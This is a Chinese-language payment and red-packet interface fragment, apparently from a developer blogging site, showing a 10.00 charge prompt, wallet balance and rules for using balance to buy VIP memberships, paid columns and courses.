需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值